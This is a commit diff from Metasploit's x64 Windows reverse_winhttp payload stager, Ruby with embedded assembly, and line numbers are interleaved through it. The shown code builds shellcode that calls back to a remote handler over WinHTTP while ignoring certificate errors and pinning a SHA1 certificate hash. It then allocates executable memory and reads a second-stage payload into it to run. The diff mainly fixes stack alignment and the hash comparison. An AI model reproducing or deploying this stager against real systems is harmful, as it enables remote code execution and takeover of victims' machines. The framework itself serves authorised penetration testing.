2
2
3
3
require 'msf/core'
4
4
require 'msf/core/payload/windows/x64/reverse_winhttp'
5
+ require 'rex/payloads/meterpreter/config'
5
6
6
7
module Msf
7
8
@@ -141,22 +142,15 @@ def asm_reverse_winhttp(opts={})
141
142
proxy_user = opts [ :proxy_user ] . to_s . length == 0 ? nil : asm_generate_wchar_array ( opts [ :proxy_user ] )
142
143
proxy_pass = opts [ :proxy_pass ] . to_s . length == 0 ? nil : asm_generate_wchar_array ( opts [ :proxy_pass ] )
143
144
144
- http_open_flags = 0
145
- secure_flags = 0
145
+ http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
146
+ secure_flags = (
147
+ 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
148
+ 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
149
+ 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
150
+ 0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA
146
151
147
152
if opts [ :ssl ]
148
- http_open_flags = (
149
- 0x00800000 | # WINHTTP_FLAG_SECURE
150
- 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
151
-
152
- secure_flags = (
153
- 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
154
- 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
155
- 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
156
- 0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA
157
- else
158
- http_open_flags = (
159
- 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
153
+ http_open_flags |= 0x00800000 # WINHTTP_FLAG_SECURE
160
154
end
161
155
162
156
asm = %Q^
@@ -210,8 +204,8 @@ def asm_reverse_winhttp(opts={})
210
204
211
205
asm << %Q^
212
206
xor r9, r9 ; NULL (lpszProxyBypass)
213
- mov rcx, rsp ; Pointer to empty string ("")
214
207
push rbx ; 0 for alignment
208
+ mov rcx, rsp ; Pointer to empty string ("")
215
209
push rbx ; NULL (lpszProxyBypass)
216
210
push rbx ; 0 (dwFlags)
217
211
push rbx ; 0 for alignment
@@ -228,8 +222,6 @@ def asm_reverse_winhttp(opts={})
228
222
; r9 should still be 0 after the previous call, so we don't need
229
223
; to clear it again
230
224
xor r9, r9 ; 0 (dwReserved)
231
- push rbx ; 0 for alignment
232
- push rbx ; 0 for alignment
233
225
mov r10, #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpConnect' ) }
234
226
call rbp
235
227
@@ -238,17 +230,15 @@ def asm_reverse_winhttp(opts={})
238
230
db #{ encoded_url }
239
231
get_server_uri:
240
232
pop r8 ; Stack pointer (pwszObjectName)
241
- ; r9 should still be 0 after the previous call, so we don't need
242
- ; to clear it again
243
- ;xor r9, r9 ; NULL (pwszVersion)
233
+ xor r9, r9 ; NULL (pwszVersion)
234
+ push rbx ; 0 for alignment
244
235
; the push/pop sequence saves a byte over XOR
245
236
push rbx ; push 0
246
237
pop rdx ; NULL (pwszVerb - defaults to GET)
247
238
mov rcx, rax ; returned by WinHttpConnect (hConnect)
248
239
push 0x#{ http_open_flags . to_s ( 16 ) } ; (dwFlags)
249
240
push rbx ; NULL (ppwszAcceptTypes)
250
241
push rbx ; NULL (pwszReferer)
251
- push rbx ; 0 for alignment
252
242
mov r10, #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpOpenRequest' ) }
253
243
call rbp
254
244
xchg rsi, rax ; save HttpRequest handle in rsi
@@ -302,10 +292,14 @@ def asm_reverse_winhttp(opts={})
302
292
push 4
303
293
pop r9 ; 4 (dwBufferLength)
304
294
push rbx ; 0 for alignment
295
+ push rbx ; 0 for alignment
305
296
mov r10, #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpSetOption' ) }
306
297
call rbp
307
298
test eax, eax ; use eax, it's 1 byte less than rax
308
299
jz failure
300
+ ; more alignment require as a result of this call. I have no idea why.
301
+ push rbx ; 0 for alignment
302
+ push rbx ; 0 for alignment
309
303
^
310
304
end
311
305
@@ -327,7 +321,16 @@ def asm_reverse_winhttp(opts={})
327
321
push rbx ; push 0 (dwContext)
328
322
push rbx ; push 0 (dwTotalLength)
329
323
push rbx ; push 0 (dwOptionalLength)
324
+ ^
325
+
326
+ # required extra alignment for non-ssl payloads. Still don't know why.
327
+ unless opts [ :ssl ]
328
+ asm << %Q^
330
329
push rbx ; 0 for alignment
330
+ ^
331
+ end
332
+
333
+ asm << %Q^
331
334
mov r10, #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpSendRequest' ) }
332
335
call rbp
333
336
test eax, eax ; use eax, it's 1 byte less than rax
@@ -369,24 +372,25 @@ def asm_reverse_winhttp(opts={})
369
372
; worry about adding something to the stack to have space for the cert pointer,
370
373
; so we won't worry about doing it, it'll save us bytes!
371
374
mov r8, rsp ; Stack pointer (lpBuffer)
375
+ mov r14, r8 ; Back the stack pointer up for later use
372
376
push 8 ; One whole pointer
373
377
mov r9, rsp ; Stack pointer (lpdwBufferLength)
374
378
push rbx ; 0 for alignment
375
- push rbx ; 0 for alignment
376
379
mov r10, #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpQueryOption' ) }
377
380
call rbp
378
381
test eax, eax ; use eax instead of rax, saves a byte
379
382
jz failure ; Bail out if we couldn't get the certificate context
380
383
381
384
ssl_cert_get_server_hash:
382
- mov rcx, [r9] ; Cert context pointer (pCertContext)
383
- push 20 ; length of the sha1 hash
385
+ mov rcx, [r14] ; Cert context pointer (pCertContext)
386
+ push 32 ; sha1 length, rounded to multiple of 16
384
387
mov r9, rsp ; Address of length (pcbData)
388
+ mov r15, rsp ; Backup address of length
385
389
sub rsp, [r9] ; Allocate 20 bytes for the hash output
386
390
mov r8, rsp ; 20 byte buffer (pvData)
391
+ mov r14, r8 ; Back the stack pointer up for later use
387
392
push 3
388
393
pop rdx ; CERT_SHA1_HASH_PROP_ID (dwPropId)
389
- ; TODO: cater for alignment?
390
394
mov r10, #{ Rex ::Text . block_api_hash ( 'crypt32.dll' , 'CertGetCertificateContextProperty' ) }
391
395
call rbp
392
396
test eax, eax ; use eax instead of rax, saves a byte
@@ -397,11 +401,13 @@ def asm_reverse_winhttp(opts={})
397
401
db #{ encoded_cert_hash }
398
402
399
403
ssl_cert_compare_hashes:
400
- pop rsi ; get the expected hash
401
- mov rdi, r8 ; pointer to the retrieved hash
402
- mov rcx, [r9] ; number of bytes to compare
404
+ pop rax ; get the expected hash
405
+ xchg rax, rsi ; swap hash and handle for now
406
+ mov rdi, r14 ; pointer to the retrieved hash
407
+ mov rcx, [r15] ; number of bytes to compare
403
408
repe cmpsb ; do the hash comparison
404
409
jnz failure ; Bail out if the result isn't zero
410
+ xchg rax, rsi ; swap hash and handle back!
405
411
406
412
; Our certificate hash was valid, hurray!
407
413
^
@@ -429,7 +435,6 @@ def asm_reverse_winhttp(opts={})
429
435
mov r8, 0x1000 ; MEM_COMMIT (flAllocationType)
430
436
push 0x40 ; PAGE_EXECUTE_READWRITE
431
437
pop r9 ; (flProtect)
432
- ; TODO: cater for alignment?
433
438
mov r10, #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'VirtualAlloc' ) }
434
439
call rbp ; Call VirtualAlloc(...);
435
440
@@ -446,7 +451,7 @@ def asm_reverse_winhttp(opts={})
446
451
mov r9, rdi ; Size received (lpNumberOfBytesRead)
447
452
mov r10, #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpReadData' ) }
448
453
call rbp
449
- add rsp, 32 ; clean up reserved space
454
+ add rsp, 32 ; clean up reserved space
450
455
451
456
test eax, eax ; use eax instead of rax, saves a byte
452
457
jz failure
0 commit comments